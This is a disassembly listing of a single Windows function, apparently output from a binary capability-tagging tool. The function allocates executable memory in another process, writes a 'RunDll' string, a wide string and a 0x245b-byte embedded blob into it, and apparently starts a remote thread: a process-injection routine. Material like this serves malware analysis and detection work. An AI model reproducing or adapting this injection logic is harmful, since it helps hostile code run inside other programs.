Function at 0x1800036b0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
xor esi, esi
mov r13, r8
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x48], rsi
mov rbp, rsi
mov r12, rsi
mov r15, rsi
mov r14, rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
test rcx, rcx
je 0x1800039f5
cmp rcx, 0xffffffffffffffff
je 0x1800039f5
mov r9d, 0x3000
xor edx, edx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180003934
lea rcx, [rsp + 0x48]
mov r9, r13
mov r8, rdi
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800039e8
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, str.RunDll
repne scasb al, byte [rdi]
mov r9d, 0x3000
xor edx, edx
not rcx
mov dword [rsp + 0x20], 0x40
mov rdi, rcx
mov qword [rsp + 0x58], rcx
mov r8, rcx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x1800039e8
lea rax, [rsp + 0x48]
lea r8, str.RunDll
mov r9, rdi
mov rdx, r15
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800039e8
mov r13, qword [rsp + 0xd8]
test r13, r13
je 0x180003825
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r13
repne scasw ax, word [rdi]
mov r9d, 0x3000
xor edx, edx
not rcx
mov dword [rsp + 0x20], 0x40
lea rdi, [rcx + rcx]
mov rcx, rbx
mov r8, rdi
mov qword [rsp + 0x60], rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1800039e8
lea rax, [rsp + 0x48]
mov r9, rdi
mov r8, r13
mov rdx, r14
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800039e8
mov edi, 0x40
xor edx, edx
mov r9d, 0x3000
mov r8, rdi
mov rcx, rbx
mov qword [rsp + 0x50], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x1800039de
lea ecx, [rdi - 0x20]
call fcn.1800076c8
mov r13, qword [rsp + 0x40]
mov rdi, rax
test rax, rax
je 0x1800038a6
mov qword [rax], r13
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r14
lea rax, [rsp + 0x48]
mov r9d, 0x20
mov r8, rdi
mov rdx, r12
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rdi
test eax, eax
jne 0x18000393b
call fcn.1800078a8
mov rdi, qword [rsp + 0x50]
mov r8, qword [rsp + 0xc0]
mov r9d, 0x8000
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test r15, r15
je 0x1800038e1
mov r8, qword [rsp + 0x58]
mov r9d, 0x8000
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test r14, r14
je 0x1800038fd
mov r8, qword [rsp + 0x60]
mov r9d, 0x8000
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test r12, r12
je 0x180003917
mov r9d, 0x8000
mov r8, rdi
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test rbp, rbp
je 0x180003934
mov r9d, 0x8000
mov r8d, 0x245b
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, esi
jmp 0x1800039f7
call fcn.1800078a8
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x245b
mov rcx, rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x1800038a6
lea rax, [rsp + 0x48]
lea r8, [0x18001edd0]
mov r9d, 0x245b
mov rdx, rbp
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800038a6
lea rax, [rsp + 0xb0]
mov r9, rbp
xor r8d, r8d
mov qword [rsp + 0x30], rax
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r12
mov dword [rsp + 0xb0], esi
call fcn.1800025c0
test rax, rax
je 0x1800038a6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
mov eax, esi
jmp 0x1800039f7
mov r13, qword [rsp + 0x40]
jmp 0x1800038ab
mov r13, qword [rsp + 0x40]
mov rdi, rsi
jmp 0x1800038ab
xor eax, eax
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret